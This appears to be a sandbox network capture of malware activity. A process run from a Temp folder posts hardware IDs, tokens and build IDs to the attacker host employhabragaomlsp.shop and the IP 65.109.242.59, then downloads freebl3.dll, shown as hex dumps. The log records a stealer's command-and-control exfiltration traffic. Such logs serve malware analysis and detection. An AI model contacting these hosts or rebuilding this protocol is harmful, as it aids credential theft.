2024-05-24 11:43:33 UTC	820	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3ro833ifr4gosin4it5ed3g2c5; expires=Tue, 17-Sep-2024 05:30:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TGDGSBnyHp%2BXY0yFMR5uAdRq5O%2FBvEw%2BABCzYE1BS3C2FUv7ZAwPV9oYHVTmJT3d6dqwp2s5nBXHxa4y%2BJ%2B1PEj%2BlQVWv4thRrjWpW0CJup7sPinhdyFV%2FXb29uuXFt6A3WrXqNIRvdRZg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d0758a866182d-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	63750	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:33 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
2024-05-24 11:43:33 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:33 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7pvaaubi02bghagg8ahqfuba99; expires=Tue, 17-Sep-2024 05:30:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aB3EdpihlIZWNak5BjSjVuOqYPqshS0OzYeRlfMCpDCEs50oRNSJuNfTTT8ydFjHFr5VGQQBMdAkFLwJU3L%2FOGoNj7IQ4qcvHa8AgbM2OJFoqniD0B5SQrS1%2Bodqc0HngWhUgMPZvyN%2FsQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d0758cb4d4370-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	63751	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:33 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:33 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 37 34 39 64 38 38 38 30 38 63 62 38 37 32 61 66 64 61 33 62 36 36 38 34 64 33 61 37 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="token"8749d88808cb872afda3b6684d3a7eba------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------DHIDHIEGIIIECAKEBFBACont
2024-05-24 11:43:34 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:43:34 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	63753	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:33 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
2024-05-24 11:43:33 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:34 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cml1rv3do6sj9ic7giipt9ghn9; expires=Tue, 17-Sep-2024 05:30:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lk0nC1ERMeHaxPih9pIND%2BkAKBoABPgUMh1FhqfrCsRa8SAmVpx8UbUfyrPJ7bRuOXHwSRVZNAcuYFqLNMRzJ32pdU4tFIUwSdXlTkQ2mTjF0b5tOiOcCHkwLLaqFxmf2eYIWPPlm%2FCu%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d075d4b9b4402-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	63754	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:34 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5433 Host: employhabragaomlsp.shop
2024-05-24 11:43:34 UTC	5433	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:34 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4j5ja3i1u0ckq47tg2kqkrnnp4; expires=Tue, 17-Sep-2024 05:30:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JcaKpPwMpSyr8SUc2vbXcJZOOjWh0iy4H2LOnGeP4xc9iiH%2FLntEbBsimT%2BHeNRd7YbQNKbpx4mEB9fzMJ5yfV4U%2FHrYoPtQ60jtB%2B6HB7UP%2BVYry0tATOWUsAG4DRcgdvoqjLMdlDHIcg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d075e2f9f726e-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	63756	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:34 UTC	173	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Cache-Control: no-cache
2024-05-24 11:43:35 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:34 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-a7550" Accept-Ranges: bytes
2024-05-24 11:43:35 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-05-24 11:43:35 UTC	16384	IN	Data Raw: 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff 0f a4 c3 01 89 5d 9c 8b 45 b8 03 85 30 ff ff ff 8b Data Ascii: }1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x]E0
2024-05-24 11:43:35 UTC	16384	IN	Data Raw: 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 e8 50 90 07 00 83 c4 04 89 45 e8 ff 77 1c e8 42 90 Data Ascii: M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]wPEwB
2024-05-24 11:43:35 UTC	16384	IN	Data Raw: 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 01 00 0f a3 d6 73 3b 8b 75 18 83 fe 02 73 33 8b 7d Data Ascii: 0C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwEs;us3}
2024-05-24 11:43:35 UTC	16384	IN	Data Raw: 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac d1 08 89 cb 89 4d f0 8d 14 3e 81 c2 31 23 43 e4 0f Data Ascii: ^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?UuM>1#C
2024-05-24 11:43:35 UTC	16384	IN	Data Raw: 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 7f 01 00 00 77 12 31 c0 81 f9 00 01 00 00 0f 93 c0 Data Ascii: }EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w w1
2024-05-24 11:43:35 UTC	16384	IN	Data Raw: 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 00 00 c7 85 7c ff ff ff 00 00 00 00 c7 85 6c ff ff Data Ascii: $`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE\|l
2024-05-24 11:43:35 UTC	16384	IN	Data Raw: 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff ff 89 f0 f7 65 f0 89 95 28 ff ff ff 89 85 30 ff ff Data Ascii: eLXee0@eeeue0UEeeUeee $e(0
2024-05-24 11:43:35 UTC	16384	IN	Data Raw: 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 80 45 e8 ff 8d 1c 18 89 7d e4 83 d3 00 0f 92 45 8c Data Ascii: MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEEE}E
2024-05-24 11:43:35 UTC	16384	IN	Data Raw: ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 d6 89 b5 28 ff ff ff 8b b5 04 ff ff ff 81 e6 ff ff Data Ascii: 0<48%8A)$(

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	63755	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:34 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 11:43:34 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 